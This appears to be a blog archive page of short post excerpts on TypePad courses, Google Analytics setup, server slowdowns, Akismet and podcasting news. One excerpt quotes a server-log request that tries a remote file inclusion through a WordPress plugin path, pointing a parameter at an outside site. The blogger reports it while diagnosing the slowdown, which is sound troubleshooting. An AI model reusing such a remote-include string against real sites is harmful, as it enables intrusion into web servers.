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Just a reminder that the preview for Easy Bake Weblogs, my acclaimed course on TypePad, is on Wednesday January 31st at 8pm EST. The course begins on Feb 7. Register for this free call at http://easybakeweblogs.com/

Aha! I figured out the cause of my server slowdown. Every webhost assigns domain names in your accout to an actual system user – and each user can use a certain amount of resources on the server. Currently, all of my blogs are assigned to the same system user. So when all my blogs get […]

I am having a big site slowdown lately and not sure why yet. I was going through my server logs and saw referrals in the form of:  /wp-content/plugins/wp-content/ plugins/Enigma2.php? boarddir=http://somesite.something A quick Google search turned up this vulnerability in an Enigma plugin. The best part is I don’t have this plugin so this is someone […]

Yesterday we talked about Google Analytics, Google’s free service that lets you track the performance of your websites and blogs from one simple, easy-to-use interface. Grab Your Google Analytics Code Block Login to Google Analytics at http://google.com/analytics/. The main Settings page loads. Click on Add Website Profile. A form displays. Select Add a Profile for […]

Google Analytics is a free service that allows you to track the performance of your website or blog quickly and easily. You can track multiple sites from one interface. Google Analytics also let’s you set conversion goals so you can easily see where visitors to your site are coming from, where they go on your […]

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Kiptronic, an advertising network for podcasting, has closed a $4 million round of financing. Investors include Blueprint Ventures and Prism VentureWorks. The company had previously raised $400,000 in angel funding.

Let us rejoice and be glad: Akismet 2.0 is out: I’m very proud to announce we have a new version of the Akismet for WordPress based on all your feedback over the past year. Here’s a summary of what’s new.

It’s okay. Really. We all have to do it sometime or other. When you ignore your RSS aggregator for days (weeks!), don’t hold on to this fantasy that you are going to actually read a back log of weeks of content. Just click it. [Mark All Read] I won’t tell anyone.

While Hollywood worries about Cameron Diaz’s acne scars, adult media producers are even more concerned: Producers are taking steps to hide the imperfections. Some shots are lit differently, while some actors simply are not shot at certain angles, or are getting cosmetic surgery, or seeking expert grooming. “The biggest problem is razor burn,â€? said Stormy […]